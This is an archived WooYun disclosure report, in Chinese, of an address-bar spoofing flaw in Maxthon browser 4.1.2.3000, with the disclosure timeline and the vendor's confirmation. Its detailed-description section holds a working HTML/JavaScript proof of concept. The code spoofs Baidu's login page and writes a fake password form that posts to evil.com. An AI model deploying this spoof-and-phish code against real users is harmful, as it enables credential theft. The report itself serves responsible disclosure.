当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-035598

漏洞标题：傲游浏览器4.1.2.3000 伪造任意网站内容漏洞

相关厂商：傲游

漏洞作者： blast

提交时间：2013-08-29 15:19

修复时间：2013-11-27 15:20

公开时间：2013-11-27 15:20

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-29： 细节已通知厂商并且等待厂商处理中
2013-08-29： 厂商已经确认，细节仅向厂商公开
2013-09-01： 细节向第三方安全合作伙伴开放
2013-10-23： 细节向核心白帽子及相关领域专家公开
2013-11-02： 细节向普通白帽子公开
2013-11-12： 细节向实习白帽子公开
2013-11-27： 细节向公众公开

简要描述：

俺也是遨游的老用户了其实 - - 你故意五天忽略 漏洞还是在那儿 你偷偷修复了……结果还是没照顾到这个问题……Base+A跟直接地址栏打开网址逻辑不一样是为甚……和以前spoof只能spoof不存在的网站不同 这个spoof只能spoof已经存在的网站 没细看 新遨游貌似是修复了不存在的网站耗时过多的问题 存在的还是有逻辑问题

详细说明：

<html>
<base href="https://passport.baidu.com/aclogin.php?queryWord=">
<div style="display:none"><a href="#" id="ak">asd</a></div>
<script>
document.writeln("<title>Hello World</title>");
document.writeln("<h1>伪造网页</h1>");
document.writeln("百度服务器维护，在此输入您的帐号密码。 这样写是不是显得危害大一点？ 帐号<form method=post action=http://evil.com/aaa><input type=text/></form> ");
var s="W";
var i=0;
var dd=0;
for(i=0;i<30000;i++)
s+=('A'+Math.random()*10);
document.getElementById("ak").href=s;
function x(){
if(dd==0){
dd=1;
document.getElementById("ak").click();
}
else
{
document.write("<scr"+"ipt>function e(){window.stop();document.stop();document.writeln('<title>Hello World</title>');document.writeln('<h1>伪造网页</h1>');document.writeln('这个部分是伪造的。你懂得2。');}</scr"+"ipt>");
}
document.stop();
window.stop();
window.stop();
window.stop();
window.stop();
document.stop();
}
setInterval("x();",2130);
</script>
</html>

漏洞证明：

如果偶尔出411了 刷新几次 随机数据嘛~
不像以前点击关闭之后地址栏会变回本地路径 这儿点击关闭之后地址栏路径就变成 A HREF里面的地址了 所以可以SPOOF
当然 不点效果也是一样 只不过多个圈看起来挺烦人的

f1.png

修复方案：

大牛们 你们都懂的

版权声明：转载请注明来源 blast@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-08-29 15:33

厂商回复：

多谢提交.

最新状态：

2013-10-16：内部已修复